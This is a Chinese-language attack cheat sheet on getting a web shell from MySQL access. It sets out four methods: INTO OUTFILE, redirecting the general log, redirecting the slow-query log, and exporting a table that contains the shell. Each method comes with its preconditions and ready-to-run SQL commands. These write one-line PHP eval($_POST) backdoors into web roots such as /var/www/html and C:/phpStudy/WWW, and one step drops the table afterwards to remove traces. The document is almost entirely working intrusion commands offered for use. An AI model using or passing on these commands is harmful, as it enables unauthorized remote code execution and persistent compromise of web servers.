一、into outfile写马
1.对web目录需要有写权限能够使用单引号
2.secure_file_priv 不为null 具体描述在下边。
3.要知道网站的绝对路径,写入马才能连接。
利用方法
先根据各种信息收集 判断或猜测出网站的绝对路径
比如 如果是 phpstudy启动的 根据 mysql 安装路径 就可以猜出网站的位置
如果是 linux 一般位于 /var/www/html
select @@basedir; 查找mysql安装路径
show global variables like '%secure_file_priv%';
select '<?php @eval($_POST[a]);?>'INTO OUTFILE '/var/www/html/shell.php'
二、开启日志写马getshell
条件
用于 secur_file_priv 为null 或限定值 不在网页目录时
general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:
general_log:日志保存状态
general_log_file:日志保存路径
利用方法
SHOW VARIABLES LIKE 'general%'; # 查看general_log 是否开启
set global general_log = "ON"; # 开启
set global general_log_file='C:/phpStudy/WWW/shell.php';
select '<?php eval($_POST["pwd"]);?>'
三、慢查询webshell
利用方法
show variables like '%slow%'
set global slow_query_log=1;
set global slow_query_log_file='C://phpStudy//WWW//slow_log.php';
select @@long_query_time;
select '<?php @eval($_POST["pwd"]);?>' or sleep(11);
四、创建数据库和表写入webshell
条件
Root数据库用户(root权限);
网站绝对路径(确定有写入权限);
secure_file_priv没有具体值。
利用方法
建库
建表
建字段
插入数据 一句话木马
<?php eval($_POST[pwd]); ?>'
执行SQL查询,将该表中的内容导出到指定文件
物理路径为"/var/www/html/pma"
use test; 连接test数据库
select * from test_table into outfile "/var/www/html/pma/shell.php";
连接成功
最后删除该库
drop database test;
或者用命令也可以 执行
执行下面的sql语句,创建表并在表中写入一句话木马,在导出到网站的根路径。
CREATE TABLE test( id text(500) not null);
INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');
SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php';
DROP TABLE IF EXISTS test;